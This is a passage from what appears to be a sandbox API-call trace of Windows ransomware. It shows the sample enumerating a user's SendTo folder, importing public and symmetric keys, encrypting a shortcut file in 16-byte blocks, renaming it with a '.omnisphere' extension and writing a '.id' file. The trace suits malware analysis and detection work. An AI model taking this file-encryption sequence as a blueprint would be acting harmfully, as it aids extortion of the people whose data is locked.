cAlternateFileName="ZZ6TKA~1.ID")) returned 0 [0128.876] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0128.876] GetProcessHeap () returned 0x1600000 [0128.876] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633b58 | out: hHeap=0x1600000) returned 1 [0128.876] GetProcessHeap () returned 0x1600000 [0128.876] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668708 | out: hHeap=0x1600000) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3dfad38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x391b18ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="SendTo", cAlternateFileName="")) returned 1 [0128.876] GetProcessHeap () returned 0x1600000 [0128.876] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x1669098 [0128.876] PathCombineW (in: pszDest=0x1669098, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="SendTo" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo" [0128.876] GetProcessHeap () returned 0x1600000 [0128.876] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x84) returned 0x1633408 [0128.876] PathCombineW (in: pszDest=0x1633408, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*" [0128.876] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3dfad38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x391b18ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x1639628 [0128.878] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e2133a4, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3dfad38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x391b18ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0128.878] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd69e8a1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3918b623, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3918b623, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Bluetooth File Transfer.LNK", cAlternateFileName="BLUETO~1.LNK")) returned 1 [0128.878] GetProcessHeap () returned 0x1600000 [0128.878] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166ab78 [0128.878] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="Bluetooth File Transfer.LNK" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK" [0128.878] StrStrW (lpFirst=".omnisphere", lpSrch=".LNK") returned 0x0 [0128.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\bluetooth file transfer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.879] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1051) returned 1 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.880] GetTickCount () returned 0x1160269 [0128.881] GetTickCount () returned 0x1160269 [0128.881] GetTickCount () returned 0x1160269 [0128.881] GetTickCount () returned 0x1160269 [0128.881] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16691a8) returned 1 [0128.881] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0128.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0128.882] CryptDestroyKey (hKey=0x16396a8) returned 1 [0128.882] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0128.882] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41b, lpName=0x0) returned 0x288 [0128.882] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41b) returned 0x1480000 [0128.883] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669230) returned 1 [0128.884] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16397a8) returned 1 [0128.884] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.884] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.885] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.886] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.887] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.887] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.887] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.887] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.887] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.887] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.887] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.887] CryptDestroyKey (hKey=0x16397a8) returned 1 [0128.887] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0128.887] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x41b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0128.887] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0128.888] GetProcessHeap () returned 0x1600000 [0128.888] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c8) returned 0x1726d58 [0128.888] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\bluetooth file transfer.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\bluetooth file transfer.lnk.omnisphere")) returned 1 [0128.889] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK.omnisphere.id" [0128.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Bluetooth File Transfer.LNK.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\bluetooth file transfer.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0128.890] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, 